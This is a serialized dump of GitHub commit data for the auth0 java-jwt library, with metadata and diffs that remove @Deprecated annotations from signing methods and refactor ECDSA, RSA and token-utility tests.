             ECPrivateKey privateKey = keyProvider.getPrivateKey();u}(jOx  (26ad6a87dee208122c23c607eb1602d0832eabd2jx  =lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javajx  modifiedjx  K jx  Kjx  Kjx  https://github.com/auth0/java-jwt/blob/0b8f1abc5f3bee59e5d977df1afee76a39eab46f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javajx  https://github.com/auth0/java-jwt/raw/0b8f1abc5f3bee59e5d977df1afee76a39eab46f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javajx  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=0b8f1abc5f3bee59e5d977df1afee76a39eab46fjx  XD  @@ -69,7 +69,6 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         try {
             return crypto.createSignatureFor(getDescription(), secret, contentBytes);u}(jOx  (ade07b0ed9dee5f1fcda53d7792db02883e9c3f1jx  =lib/src/main/java/com/auth0/jwt/algorithms/NoneAlgorithm.javajx  modifiedjx  K jx  Kjx  Kjx  https://github.com/auth0/java-jwt/blob/0b8f1abc5f3bee59e5d977df1afee76a39eab46f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javajx  https://github.com/auth0/java-jwt/raw/0b8f1abc5f3bee59e5d977df1afee76a39eab46f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javajx  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.java?ref=0b8f1abc5f3bee59e5d977df1afee76a39eab46fjx  X  @@ -31,7 +31,6 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         return new byte[0];
     }u}(jOx  (cd1e97a52a4d590917b35a1d58c198821645862fjx  <lib/src/main/java/com/auth0/jwt/algorithms/RSAAlgorithm.javajx  modifiedjx  K jx  Kjx  Kjx  https://github.com/auth0/java-jwt/blob/0b8f1abc5f3bee59e5d977df1afee76a39eab46f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javajx  https://github.com/auth0/java-jwt/raw/0b8f1abc5f3bee59e5d977df1afee76a39eab46f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javajx  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.java?ref=0b8f1abc5f3bee59e5d977df1afee76a39eab46fjx  X@  @@ -55,7 +55,6 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGenerationException {
         try {
             RSAPrivateKey privateKey = keyProvider.getPrivateKey();ueu(6b361dd364e1ef0d0a4b719445ede4af77a8f4db}(sha(6b361dd364e1ef0d0a4b719445ede4af77a8f4dbnode_idEC_kwDOAQtL0doAKDZiMzYxZGQzNjRlMWVmMGQwYTRiNzE5NDQ1ZWRlNGFmNzdhOGY0ZGIcommit}(author}(nameAntónio Pedro Santosemailaps@dnxt.ptdate2022-09-26T05:43:48Zu	committer}(jx  António Pedro Santosjx  aps@dnxt.ptjx  2022-09-26T05:43:48ZumessagePReversed commits that affected the build scripts and ignored tests. Fixed tests.tree}(jx  (51176620ffbb6999a537974d73cf0c1d51868329url^https://api.github.com/repos/auth0/java-jwt/git/trees/51176620ffbb6999a537974d73cf0c1d51868329ujy  `https://api.github.com/repos/auth0/java-jwt/git/commits/6b361dd364e1ef0d0a4b719445ede4af77a8f4db
comment_countK verification}(verifiedreasonvalid	signature-----BEGIN PGP SIGNATURE-----

iHUEABYKAB0WIQS/x9KuztyA3mLS2S8QJVoVuKaCBgUCYzE8FAAKCRAQJVoVuKaC
Bj5bAQC7frEbyVsiA/0AXIUv1636GH1k65q7F96tPrBVlhPXnwEAhn8uFQXkGP/J
iitr1ycBWoHR4/7+xyOYHWThevnKJQc=
=sB0n
-----END PGP SIGNATURE-----payloadX+  tree 51176620ffbb6999a537974d73cf0c1d51868329
parent b00787c1c8086f792a8d1748a8ce11a878225843
author António Pedro Santos <aps@dnxt.pt> 1664171028 +0100
committer António Pedro Santos <aps@dnxt.pt> 1664171028 +0100

Reversed commits that affected the build scripts and ignored tests. Fixed tests.
uujy  \https://api.github.com/repos/auth0/java-jwt/commits/6b361dd364e1ef0d0a4b719445ede4af77a8f4dbhtml_urlQhttps://github.com/auth0/java-jwt/commit/6b361dd364e1ef0d0a4b719445ede4af77a8f4dbcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/6b361dd364e1ef0d0a4b719445ede4af77a8f4db/commentsjx  }(loginaps-dnxtidJjx  MDQ6VXNlcjc3NDYxNDA0
avatar_url4https://avatars.githubusercontent.com/u/77461404?v=4gravatar_idh3jy  %https://api.github.com/users/aps-dnxtjy  https://github.com/aps-dnxt
followers_url/https://api.github.com/users/aps-dnxt/followers
following_url<https://api.github.com/users/aps-dnxt/following{/other_user}	gists_url5https://api.github.com/users/aps-dnxt/gists{/gist_id}starred_url<https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/aps-dnxt/subscriptionsorganizations_url*https://api.github.com/users/aps-dnxt/orgs	repos_url+https://api.github.com/users/aps-dnxt/repos
events_url6https://api.github.com/users/aps-dnxt/events{/privacy}received_events_url5https://api.github.com/users/aps-dnxt/received_eventstypeUser
site_adminujx  }(jy  aps-dnxtjy  Jjx  MDQ6VXNlcjc3NDYxNDA0jy  4https://avatars.githubusercontent.com/u/77461404?v=4jy  h3jy  %https://api.github.com/users/aps-dnxtjy  https://github.com/aps-dnxtj y  /https://api.github.com/users/aps-dnxt/followersj"y  <https://api.github.com/users/aps-dnxt/following{/other_user}j$y  5https://api.github.com/users/aps-dnxt/gists{/gist_id}j&y  <https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}j(y  3https://api.github.com/users/aps-dnxt/subscriptionsj*y  *https://api.github.com/users/aps-dnxt/orgsj,y  +https://api.github.com/users/aps-dnxt/reposj.y  6https://api.github.com/users/aps-dnxt/events{/privacy}j0y  5https://api.github.com/users/aps-dnxt/received_eventsj2y  Userj4y  uparents]}(jx  (b00787c1c8086f792a8d1748a8ce11a878225843jy  \https://api.github.com/repos/auth0/java-jwt/commits/b00787c1c8086f792a8d1748a8ce11a878225843jy  Qhttps://github.com/auth0/java-jwt/commit/b00787c1c8086f792a8d1748a8ce11a878225843uastats}(totalM/	additionsK	deletionsKufiles](}(jx  (5942b1e5d117febbc4a096305a8e29bdf4069a63filename3lib/src/test/java/com/auth0/jwt/TokenUtilsTest.javastatusmodifiedjNy  KjOy  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/6b361dd364e1ef0d0a4b719445ede4af77a8f4db/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/6b361dd364e1ef0d0a4b719445ede4af77a8f4db/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.java?ref=6b361dd364e1ef0d0a4b719445ede4af77a8f4dbpatchXu  @@ -34,7 +34,7 @@ public void shouldSplitTokenWithEmptySignature() {
         assertThat(parts, is(arrayWithSize(3)));
         assertThat(parts[0], is("eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0"));
         assertThat(parts[1], is("eyJpc3MiOiJhdXRoMCJ9"));
-        assertThat(parts[2], is(isEmptyString()));
+        assertThat(parts[2], is(emptyString()));
     }
 
     @Testu}(jx  (5bc2c99530c1dc5dd7fa345322c45ce02454dd8ejTy  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javajVy  modifiedjNy  KjOy  KjXy  M!jYy  https://github.com/auth0/java-jwt/blob/6b361dd364e1ef0d0a4b719445ede4af77a8f4db/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj[y  https://github.com/auth0/java-jwt/raw/6b361dd364e1ef0d0a4b719445ede4af77a8f4db/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj]y  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=6b361dd364e1ef0d0a4b719445ede4af77a8f4dbj_y  X2>  @@ -10,6 +10,7 @@
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
+import org.mockito.ArgumentMatchers;
 
 import java.io.ByteArrayOutputStream;
 import java.math.BigInteger;
@@ -27,9 +28,9 @@
 import static com.auth0.jwt.algorithms.CryptoTestHelper.asJWT;
 import static com.auth0.jwt.algorithms.CryptoTestHelper.assertSignaturePresent;
 import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.isA;
 import static org.hamcrest.Matchers.nullValue;
-import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.internal.matchers.ThrowableMessageMatcher.hasMessage;
 import static org.mockito.ArgumentMatchers.*;
 import static org.mockito.Mockito.mock;
@@ -48,16 +49,150 @@ public class ECDSAAlgorithmTest {
     private static final String PRIVATE_KEY_FILE_512 = "src/test/resources/ec512-key-private.pem";
     private static final String PUBLIC_KEY_FILE_512 = "src/test/resources/ec512-key-public.pem";
     private static final String INVALID_PUBLIC_KEY_FILE_512 = "src/test/resources/ec512-key-public-invalid.pem";
-
-    @Rule
-    public ExpectedException exception = ExpectedException.none();
+    //Sign
+    private static final String ES256Header = "eyJhbGciOiJFUzI1NiJ9";
 
     //JOSE Signatures obtained using Node 'jwa' lib: https://github.com/brianloveswords/node-jwa
     //DER Signatures obtained from source JOSE signature using 'ecdsa-sig-formatter' lib: https://github.com/Brightspace/node-ecdsa-sig-formatter
 
     //These tests use the default preferred SecurityProvider to handle ECDSA algorithms
 
     // Verify
+    private static final String ES384Header = "eyJhbGciOiJFUzM4NCJ9";
+    private static final String ES512Header = "eyJhbGciOiJFUzUxMiJ9";
+    private static final String auth0IssPayload = "eyJpc3MiOiJhdXRoMCJ9";
+    private static final byte[] ES256HeaderBytes = ES256Header.getBytes(StandardCharsets.UTF_8);
+    private static final byte[] ES384HeaderBytes = ES384Header.getBytes(StandardCharsets.UTF_8);
+    private static final byte[] ES512HeaderBytes = ES512Header.getBytes(StandardCharsets.UTF_8);
+    private static final byte[] auth0IssPayloadBytes = auth0IssPayload.getBytes(StandardCharsets.UTF_8);
+    @Rule
+    public ExpectedException exception = ExpectedException.none();
+
+    //Test Helpers
+    static void assertValidJOSESignature(byte[] joseSignature, int numberSize, boolean withRPadding, boolean withSPadding) {
+        assertThat(joseSignature, is(Matchers.notNullValue()));
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+
+        assertThat(joseSignature.length, is(numberSize * 2));
+
+        byte[] rCopy = Arrays.copyOfRange(joseSignature, 0, numberSize);
+        byte[] sCopy = Arrays.copyOfRange(joseSignature, numberSize, numberSize * 2);
+
+        byte[] rNumber = new byte[numberSize];
+        byte[] sNumber = new byte[numberSize];
+        Arrays.fill(rNumber, (byte) 0x11);
+        Arrays.fill(sNumber, (byte) 0x22);
+        if (withRPadding) {
+            rNumber[0] = (byte) 0;
+        }
+        if (withSPadding) {
+            sNumber[0] = (byte) 0;
+        }
+        assertThat(Arrays.equals(rNumber, rCopy), is(true));
+        assertThat(Arrays.equals(sNumber, sCopy), is(true));
+    }
+
+    static byte[] createDERSignature(int numberSize, boolean withRPadding, boolean withSPadding) {
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+
+        int rLength = withRPadding ? numberSize - 1 : numberSize;
+        int sLength = withSPadding ? numberSize - 1 : numberSize;
+        int totalLength = 2 + (2 + rLength) + (2 + sLength);
+
+        byte[] rNumber = new byte[rLength];
+        byte[] sNumber = new byte[sLength];
+        Arrays.fill(rNumber, (byte) 0x11);
+        Arrays.fill(sNumber, (byte) 0x22);
+
+        byte[] derSignature;
+        int offset = 0;
+        if (totalLength > 0x7f) {
+            totalLength++;
+            derSignature = new byte[totalLength];
+            //Start sequence and sign
+            derSignature[offset++] = (byte) 0x30;
+            derSignature[offset++] = (byte) 0x81;
+        } else {
+            derSignature = new byte[totalLength];
+            //Start sequence
+            derSignature[offset++] = (byte) 0x30;
+        }
+
+        //Sequence length
+        derSignature[offset++] = (byte) (totalLength - offset);
+
+        //R number
+        derSignature[offset++] = (byte) 0x02;
+        derSignature[offset++] = (byte) rLength;
+        System.arraycopy(rNumber, 0, derSignature, offset, rLength);
+        offset += rLength;
+
+        //S number
+        derSignature[offset++] = (byte) 0x02;
+        derSignature[offset++] = (byte) sLength;
+        System.arraycopy(sNumber, 0, derSignature, offset, sLength);
+
+        return derSignature;
+    }
+
+    static byte[] createJOSESignature(int numberSize, boolean withRPadding, boolean withSPadding) {
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+
+        byte[] rNumber = new byte[numberSize];
+        byte[] sNumber = new byte[numberSize];
+        Arrays.fill(rNumber, (byte) 0x11);
+        Arrays.fill(sNumber, (byte) 0x22);
+        if (withRPadding) {
+            rNumber[0] = (byte) 0;
+        }
+        if (withSPadding) {
+            sNumber[0] = (byte) 0;
+        }
+        byte[] joseSignature = new byte[numberSize * 2];
+        System.arraycopy(rNumber, 0, joseSignature, 0, numberSize);
+        System.arraycopy(sNumber, 0, joseSignature, numberSize, numberSize);
+        return joseSignature;
+    }
+
+    static void assertValidDERSignature(byte[] derSignature, int numberSize, boolean withRPadding, boolean withSPadding) {
+        assertThat(derSignature, is(Matchers.notNullValue()));
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+
+        int rLength = withRPadding ? numberSize - 1 : numberSize;
+        int sLength = withSPadding ? numberSize - 1 : numberSize;
+        int totalLength = 2 + (2 + rLength) + (2 + sLength);
+        int offset = 0;
+
+        //Start sequence
+        assertThat(derSignature[offset++], is((byte) 0x30));
+        if (totalLength > 0x7f) {
+            //Add sign before sequence length
+            totalLength++;
+            assertThat(derSignature[offset++], is((byte) 0x81));
+        }
+        //Sequence length
+        assertThat(derSignature[offset++], is((byte) (totalLength - offset)));
+
+        //R number
+        assertThat(derSignature[offset++], is((byte) 0x02));
+        assertThat(derSignature[offset++], is((byte) rLength));
+        byte[] rCopy = Arrays.copyOfRange(derSignature, offset, offset + rLength);
+        offset += rLength;
+
+        //S number
+        assertThat(derSignature[offset++], is((byte) 0x02));
+        assertThat(derSignature[offset++], is((byte) sLength));
+        byte[] sCopy = Arrays.copyOfRange(derSignature, offset, offset + sLength);
+
+
+        byte[] rNumber = new byte[rLength];
+        byte[] sNumber = new byte[sLength];
+        Arrays.fill(rNumber, (byte) 0x11);
+        Arrays.fill(sNumber, (byte) 0x22);
+        assertThat(Arrays.equals(rNumber, rCopy), is(true));
+        assertThat(Arrays.equals(sNumber, sCopy), is(true));
+        assertThat(derSignature.length, is(totalLength));
+    }
 
     @Test
     public void shouldPassECDSA256VerificationWithJOSESignature() throws Exception {
@@ -530,18 +665,6 @@ public void shouldThrowWhenSignatureNotValidBase64() throws Exception {
         algorithm.verify(JWT.decode(jwt));
     }
 
-    //Sign
-    private static final String ES256Header = "eyJhbGciOiJFUzI1NiJ9";
-    private static final String ES384Header = "eyJhbGciOiJFUzM4NCJ9";
-    private static final String ES512Header = "eyJhbGciOiJFUzUxMiJ9";
-    private static final String auth0IssPayload = "eyJpc3MiOiJhdXRoMCJ9";
-
-    private static final byte[] ES256HeaderBytes = ES256Header.getBytes(StandardCharsets.UTF_8);
-    private static final byte[] ES384HeaderBytes = ES384Header.getBytes(StandardCharsets.UTF_8);
-    private static final byte[] ES512HeaderBytes = ES512Header.getBytes(StandardCharsets.UTF_8);
-    private static final byte[] auth0IssPayloadBytes = auth0IssPayload.getBytes(StandardCharsets.UTF_8);
-
-
     @Test
     public void shouldDoECDSA256Signing() throws Exception {
         Algorithm algorithm = Algorithm.ECDSA256((ECKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
@@ -681,7 +804,6 @@ public void shouldDoECDSA512SigningWithBothKeys() throws Exception {
         algorithm.verify(JWT.decode(jwt));
     }
 
-
     @Test
     public void shouldDoECDSA512SigningWithProvidedPrivateKey() throws Exception {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
@@ -728,7 +850,7 @@ public void shouldThrowOnSignWhenSignatureAlgorithmDoesNotExists() throws Except
         exception.expectCause(isA(NoSuchAlgorithmException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), (Provider) ArgumentMatchers.isNull()))
                 .thenThrow(NoSuchAlgorithmException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
@@ -745,7 +867,7 @@ public void shouldThrowOnSignWhenThePrivateKeyIsInvalid() throws Exception {
         exception.expectCause(isA(InvalidKeyException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), (Provider) ArgumentMatchers.isNull()))
                 .thenThrow(InvalidKeyException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
@@ -762,7 +884,7 @@ public void shouldThrowOnSignWhenTheSignatureIsNotPrepared() throws Exception {
         exception.expectCause(isA(SignatureException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), (Provider) ArgumentMatchers.isNull()))
                 .thenThrow(SignatureException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
@@ -1036,133 +1158,6 @@ public void shouldDecodeECDSA512DER() throws Exception {
         assertValidJOSESignature(joseSignature, 66, true, true);
     }
 
-
-    //Test Helpers
-    static void assertValidJOSESignature(byte[] joseSignature, int numberSize, boolean withRPadding, boolean withSPadding) {
-        assertThat(joseSignature, is(Matchers.notNullValue()));
-        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
-
-        assertThat(joseSignature.length, is(numberSize * 2));
-
-        byte[] rCopy = Arrays.copyOfRange(joseSignature, 0, numberSize);
-        byte[] sCopy = Arrays.copyOfRange(joseSignature, numberSize, numberSize * 2);
-
-        byte[] rNumber = new byte[numberSize];
-        byte[] sNumber = new byte[numberSize];
-        Arrays.fill(rNumber, (byte) 0x11);
-        Arrays.fill(sNumber, (byte) 0x22);
-        if (withRPadding) {
-            rNumber[0] = (byte) 0;
-        }
-        if (withSPadding) {
-            sNumber[0] = (byte) 0;
-        }
-        assertThat(Arrays.equals(rNumber, rCopy), is(true));
-        assertThat(Arrays.equals(sNumber, sCopy), is(true));
-    }
-
-    static byte[] createDERSignature(int numberSize, boolean withRPadding, boolean withSPadding) {
-        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
-
-        int rLength = withRPadding ? numberSize - 1 : numberSize;
-        int sLength = withSPadding ? numberSize - 1 : numberSize;
-        int totalLength = 2 + (2 + rLength) + (2 + sLength);
-
-        byte[] rNumber = new byte[rLength];
-        byte[] sNumber = new byte[sLength];
-        Arrays.fill(rNumber, (byte) 0x11);
-        Arrays.fill(sNumber, (byte) 0x22);
-
-        byte[] derSignature;
-        int offset = 0;
-        if (totalLength > 0x7f) {
-            totalLength++;
-            derSignature = new byte[totalLength];
-            //Start sequence and sign
-            derSignature[offset++] = (byte) 0x30;
-            derSignature[offset++] = (byte) 0x81;
-        } else {
-            derSignature = new byte[totalLength];
-            //Start sequence
-            derSignature[offset++] = (byte) 0x30;
-        }
-
-        //Sequence length
-        derSignature[offset++] = (byte) (totalLength - offset);
-
-        //R number
-        derSignature[offset++] = (byte) 0x02;
-        derSignature[offset++] = (byte) rLength;
-        System.arraycopy(rNumber, 0, derSignature, offset, rLength);
-        offset += rLength;
-
-        //S number
-        derSignature[offset++] = (byte) 0x02;
-        derSignature[offset++] = (byte) sLength;
-        System.arraycopy(sNumber, 0, derSignature, offset, sLength);
-
-        return derSignature;
-    }
-
-    static byte[] createJOSESignature(int numberSize, boolean withRPadding, boolean withSPadding) {
-        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
-
-        byte[] rNumber = new byte[numberSize];
-        byte[] sNumber = new byte[numberSize];
-        Arrays.fill(rNumber, (byte) 0x11);
-        Arrays.fill(sNumber, (byte) 0x22);
-        if (withRPadding) {
-            rNumber[0] = (byte) 0;
-        }
-        if (withSPadding) {
-            sNumber[0] = (byte) 0;
-        }
-        byte[] joseSignature = new byte[numberSize * 2];
-        System.arraycopy(rNumber, 0, joseSignature, 0, numberSize);
-        System.arraycopy(sNumber, 0, joseSignature, numberSize, numberSize);
-        return joseSignature;
-    }
-
-    static void assertValidDERSignature(byte[] derSignature, int numberSize, boolean withRPadding, boolean withSPadding) {
-        assertThat(derSignature, is(Matchers.notNullValue()));
-        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
-
-        int rLength = withRPadding ? numberSize - 1 : numberSize;
-        int sLength = withSPadding ? numberSize - 1 : numberSize;
-        int totalLength = 2 + (2 + rLength) + (2 + sLength);
-        int offset = 0;
-
-        //Start sequence
-        assertThat(derSignature[offset++], is((byte) 0x30));
-        if (totalLength > 0x7f) {
-            //Add sign before sequence length
-            totalLength++;
-            assertThat(derSignature[offset++], is((byte) 0x81));
-        }
-        //Sequence length
-        assertThat(derSignature[offset++], is((byte) (totalLength - offset)));
-
-        //R number
-        assertThat(derSignature[offset++], is((byte) 0x02));
-        assertThat(derSignature[offset++], is((byte) rLength));
-        byte[] rCopy = Arrays.copyOfRange(derSignature, offset, offset + rLength);
-        offset += rLength;
-
-        //S number
-        assertThat(derSignature[offset++], is((byte) 0x02));
-        assertThat(derSignature[offset++], is((byte) sLength));
-        byte[] sCopy = Arrays.copyOfRange(derSignature, offset, offset + sLength);
-
-
-        byte[] rNumber = new byte[rLength];
-        byte[] sNumber = new byte[sLength];
-        Arrays.fill(rNumber, (byte) 0x11);
-        Arrays.fill(sNumber, (byte) 0x22);
-        assertThat(Arrays.equals(rNumber, rCopy), is(true));
-        assertThat(Arrays.equals(sNumber, sCopy), is(true));
-        assertThat(derSignature.length, is(totalLength));
-    }
-
     @Test
     public void shouldBeEqualSignatureMethodDecodeResults() throws Exception {
         // signatures are not deterministic in value, so instead of directly comparing the signatures,u}(jx  (14664a24aa3b58fb16b5047925f310f8f37d1441jTy  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javajVy  modifiedjNy  KjOy  KjXy  KjYy  https://github.com/auth0/java-jwt/blob/6b361dd364e1ef0d0a4b719445ede4af77a8f4db/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj[y  https://github.com/auth0/java-jwt/raw/6b361dd364e1ef0d0a4b719445ede4af77a8f4db/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj]y  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=6b361dd364e1ef0d0a4b719445ede4af77a8f4dbj_y  X  @@ -726,7 +726,7 @@ public void shouldThrowOnSignWhenSignatureAlgorithmDoesNotExists() throws Except
         exception.expectCause(isA(NoSuchAlgorithmException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), (Provider) ArgumentMatchers.isNull()))
                 .thenThrow(NoSuchAlgorithmException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
@@ -743,7 +743,7 @@ public void shouldThrowOnSignWhenThePrivateKeyIsInvalid() throws Exception {
         exception.expectCause(isA(InvalidKeyException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), (Provider) ArgumentMatchers.isNull()))
                 .thenThrow(InvalidKeyException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
@@ -760,7 +760,7 @@ public void shouldThrowOnSignWhenTheSignatureIsNotPrepared() throws Exception {
         exception.expectCause(isA(SignatureException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), (Provider) ArgumentMatchers.isNull()))
                 .thenThrow(SignatureException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);u}(jx  (b8ab31d14404bae208a487e5e6893eb4037ef408jTy  @lib/src/test/java/com/auth0/jwt/algorithms/RSAAlgorithmTest.javajVy  modifiedjNy  KjOy  KjXy  KjYy  https://github.com/auth0/java-jwt/blob/6b361dd364e1ef0d0a4b719445ede4af77a8f4db/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj[y  https://github.com/auth0/java-jwt/raw/6b361dd364e1ef0d0a4b719445ede4af77a8f4db/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj]y  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.java?ref=6b361dd364e1ef0d0a4b719445ede4af77a8f4dbj_y  X  @@ -468,7 +468,7 @@ public void shouldThrowOnSignWhenSignatureAlgorithmDoesNotExists() throws Except
         exception.expectCause(isA(NoSuchAlgorithmException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), (Provider) ArgumentMatchers.isNull()))
                 .thenThrow(NoSuchAlgorithmException.class);
 
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
@@ -485,7 +485,7 @@ public void shouldThrowOnSignWhenThePrivateKeyIsInvalid() throws Exception {
         exception.expectCause(isA(InvalidKeyException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), (Provider) ArgumentMatchers.isNull()))
                 .thenThrow(InvalidKeyException.class);
 
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
@@ -502,7 +502,7 @@ public void shouldThrowOnSignWhenTheSignatureIsNotPrepared() throws Exception {
         exception.expectCause(isA(SignatureException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), (Provider) ArgumentMatchers.isNull()))
                 .thenThrow(SignatureException.class);
 
         RSAPublicKey publicKey = mock(RSAPublicKey.class);ueu(0f080b0aab832a9531d4d60a64601fb05ec2ba6c}(sha(0f080b0aab832a9531d4d60a64601fb05ec2ba6cnode_idEC_kwDOAQtL0doAKDBmMDgwYjBhYWI4MzJhOTUzMWQ0ZDYwYTY0NjAxZmIwNWVjMmJhNmMcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-18T10:40:11Zu	committer}(jy  
Poovamraj T Tjy  poovamraj@gmail.comjy  2022-03-18T10:40:11Zumessage'Remove ES256K methods and related teststree}(j{y  (790ca0d7dfb2f637c7b5d5c6fa29dc56bd975cf1url^https://api.github.com/repos/auth0/java-jwt/git/trees/790ca0d7dfb2f637c7b5d5c6fa29dc56bd975cf1ujy  `https://api.github.com/repos/auth0/java-jwt/git/commits/0f080b0aab832a9531d4d60a64601fb05ec2ba6c
